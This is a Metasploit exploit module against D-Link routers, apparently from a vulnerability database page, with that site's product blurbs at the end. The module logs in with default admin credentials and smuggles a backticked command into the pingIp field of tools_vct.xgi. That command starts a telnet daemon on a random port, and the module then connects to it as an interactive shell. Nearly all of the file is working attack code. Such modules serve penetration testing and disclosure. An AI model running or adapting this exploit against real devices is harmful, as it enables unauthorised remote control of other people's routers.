##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution',
'Description' => %q{
Various D-Link Routers are vulnerable to OS command injection via the web
interface. The vulnerability exists in tools_vct.xgi, which is accessible with
credentials. According to the vulnerability discoverer, more D-Link devices may
be affected.
},
'Author' =>
[
'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '92698' ],
[ 'EDB', '25024' ],
[ 'BID', '59405' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-014' ]
],
'DisclosureDate' => '2013-04-22',
'Privileged' => true,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
OptString.new('PASSWORD',[ false, 'Password to login with', 'admin']),
])
register_advanced_options(
[
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
])
end
def tel_timeout
(datastore['TelnetTimeout'] || 10).to_i
end
def banner_timeout
(datastore['TelnetBannerTimeout'] || 25).to_i
end
def exploit
user = datastore['USERNAME']
if datastore['PASSWORD'].nil?
pass = ""
else
pass = datastore['PASSWORD']
end
test_login(user, pass)
exploit_telnet
end
def test_login(user, pass)
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
login_path = "/login.php"
#valid login response includes the following
login_check = "\<META\ HTTP\-EQUIV\=Refresh\ CONTENT\=\'0\;\ url\=index.php\'\>"
begin
res = send_request_cgi({
'uri' => login_path,
'method' => 'POST',
'vars_post' => {
"ACTION_POST" => "LOGIN",
"LOGIN_USER" => "#{user}",
"LOGIN_PASSWD" => "#{pass}",
"login" => "+Log+In+"
}
})
if res.nil?
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - no response")
end
if (res.headers['Server'].nil? or res.headers['Server'] !~ /Mathopd\/1.5p6/)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - check the server banner")
end
if (res.code == 404)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - 404 error")
end
if (res.body) =~ /#{login_check}/
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
else
fail_with(Failure::Unknown, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
end
end
def exploit_telnet
telnetport = rand(32767) + 32768
print_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
cmd = "telnetd -p #{telnetport}"
#starting the telnetd gives no response
request(cmd)
print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i, 'Context' => ctx })
if sock.nil?
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end
add_socket(sock)
print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
prompt = negotiate_telnet(sock)
if prompt.nil?
sock.close
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
else
print_good("#{rhost}:#{rport} - Telnet session successfully established...")
end
handler(sock)
end
def request(cmd)
uri = '/tools_vct.xgi'
begin
res = send_request_cgi({
'uri' => uri,
'vars_get' => {
'set/runtime/switch/getlinktype' => "1",
'set/runtime/diagnostic/pingIp' => "`#{cmd}`",
'pingIP' => ""
},
'method' => 'GET',
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")
end
end
# Since there isn't user/password negotiation, just wait until the prompt is there
def negotiate_telnet(sock)
begin
Timeout.timeout(banner_timeout) do
while(true)
data = sock.get_once(-1, tel_timeout)
return nil if not data or data.length == 0
if data =~ /\x23\x20$/
return true
end
end
end
rescue ::Timeout::Error
return nil
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation